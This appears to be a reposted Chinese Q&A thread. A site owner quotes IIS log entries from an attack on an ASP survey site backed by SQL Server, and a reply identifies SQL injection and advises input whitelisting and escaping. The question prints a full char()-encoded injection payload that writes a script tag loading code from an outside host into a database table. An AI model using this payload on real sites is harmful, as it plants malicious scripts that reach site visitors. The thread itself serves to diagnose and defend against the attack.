javascript – 攻击使用SQL Server数据库的ASP站点

前端之家收集整理的这篇文章主要介绍了javascript – 攻击使用SQL Server数据库的ASP站点前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。
我们有一个受访的调查网站.症状与本网站下页所述相同:
XSS Attack on the ASP.NET Website.

我发现我们的IIS日志中包含恶意代码的多个条目:

< / title> < script src = http : // google-stats49.info/ur.PHP >.

以下是一个IIS日志条目的cs-uri-query字段的值的示例.

surveyID=91+update+usd_ResponseDetails+set+categoryName=REPLACE(cast(categoryName+as+varchar(8000)),cast(char(60)%2Bchar(47)%2Bchar(116)%2Bchar(105)%2Bchar(116)%2Bchar(108)%2Bchar(101)%2Bchar(62)%2Bchar(60)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(32)%2Bchar(115)%2Bchar(114)%2Bchar(99)%2Bchar(61)%2Bchar(104)%2Bchar(116)%2Bchar(116)%2Bchar(112)%2Bchar(58)%2Bchar(47)%2Bchar(47)%2Bchar(103)%2Bchar(111)%2Bchar(111)%2Bchar(103)%2Bchar(108)%2Bchar(101)%2Bchar(45)%2Bchar(115)%2Bchar(116)%2Bchar(97)%2Bchar(116)%2Bchar(115)%2Bchar(53)%2Bchar(48)%2Bchar(46)%2Bchar(105)%2Bchar(110)%2Bchar(102)%2Bchar(111)%2Bchar(47)%2Bchar(117)%2Bchar(114)%2Bchar(46)%2Bchar(112)%2Bchar(104)%2Bchar(112)%2Bchar(62)%2Bchar(60)%2Bchar(47)%2Bchar(115)%2Bchar(99)%2Bchar(114)%2Bchar(105)%2Bchar(112)%2Bchar(116)%2Bchar(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))–

我不明白上述代码如何工作,但显然这是在查询字符串中发送到我们的数据库表中的损坏列.我们暂时关闭了我们的网站.我们可以从数据库删除脚本,但是当我们将站点重新联机时,不会阻止它再次被破坏.

有没有人有任何建议如何防止这种情况发生?

解决方法

这是一个sql注入.

>不要信任用户输入.您正在输入并直接发送到数据库
>不要相信你的用户输入!
>根据允许值的白名单检查所有输入.
>对于文本输入,确保一切都被转义

这个问题有吨:Google is your friend

猜你在找的JavaScript相关文章